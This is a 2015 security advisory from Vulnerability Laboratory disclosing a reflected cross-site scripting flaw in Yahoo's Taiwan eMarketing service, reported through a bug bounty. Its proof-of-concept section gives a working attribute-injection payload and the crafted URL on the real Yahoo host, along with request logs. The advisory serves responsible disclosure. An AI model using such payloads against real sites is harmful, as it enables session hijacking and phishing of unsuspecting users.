[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability
Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability
Yahoo Security ID (H1): #55395
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely
known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail,
Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports
and its social media website. It is one of the most popular sites in the United States. According to news sources,
roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a
billion consumers every month in more than 30 languages.
(Copy of the Vendor Homepage: http://www.yahoo.com )
Abstract Advisory Information:
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Yahoo eMarketing online service web-application.
Vulnerability Disclosure Timeline:
2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program)
2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program)
2015-05-06: Vendor Fix/Patch (Yahoo Developer Team)
2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program)
2015-05-07: Public Disclosure (Vulnerability Laboratory)
Technical Details & Description:
A non-persistent input validation web vulnerability has been discovered in the official Yahoo eMarketing online service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information.
The vulnerability is located in the `id` value of the `eMarketing` module. Remote attackers are able to inject malicious script codes to client-side GET method
application requests. Remote attackers are able to prepare special crafted web-links to execute client-side script code that compromises the yahoo user/admin
session data. The execution of the script code occurs in same module context location by a mouse-over. The attack vector of the vulnerability is located on the
client-side of the online service and the request method to inject or execute the code is GET.
The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load
of malicious script codes or non-persistent web module context manipulation.
[+] Yahoo > eMarketing
Proof of Concept (PoC):
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click).
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
PoC Payload(s): "onmouseenter="confirm(document.domain) (https://marketing.tw.campaign.yahoo.net/)
PoC: eMarketing ID
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<td align="right" width="10%" >
<div class="fb-like" style="overflow: hidden; " data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)" data-layout="button_count" data-action="recommend" data-show-faces="false" data-share="true"></div>
<td align="left" valign="bottom" width="65%" >
<span style="font-size:12px; margin: 2px; font-weight:bold; color:#4d0079">覺得這篇文章有幫助？ 分享給更多頭家！</span>
--- PoC Session Logs [GET] ---
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0]
Cookie[_ga=GA1.5.1632823259.1428499428; s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B; __qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005]
Date[Wed, 06 May 2015 12:19:05 GMT]
Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])]
Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable id value in the emarketing service application of yahoo.
Restrict the input and disallow special chars or script code tags to prevent further injection attacks.
The security risk of the client-side cross site scripting web vulnerability in the tw yahoo application is estimated as medium. (CVSS 3.3)
Credits & Authors:
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@xxxxxxxxxx]
Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
VULNERABILITY LABORATORY - RESEARCH TEAM
PGP KEY: http://www.vulnerability-lab.com/keys/admin@xxxxxxxxxxxxxxxxxxxxx%280x198E9928%29.txt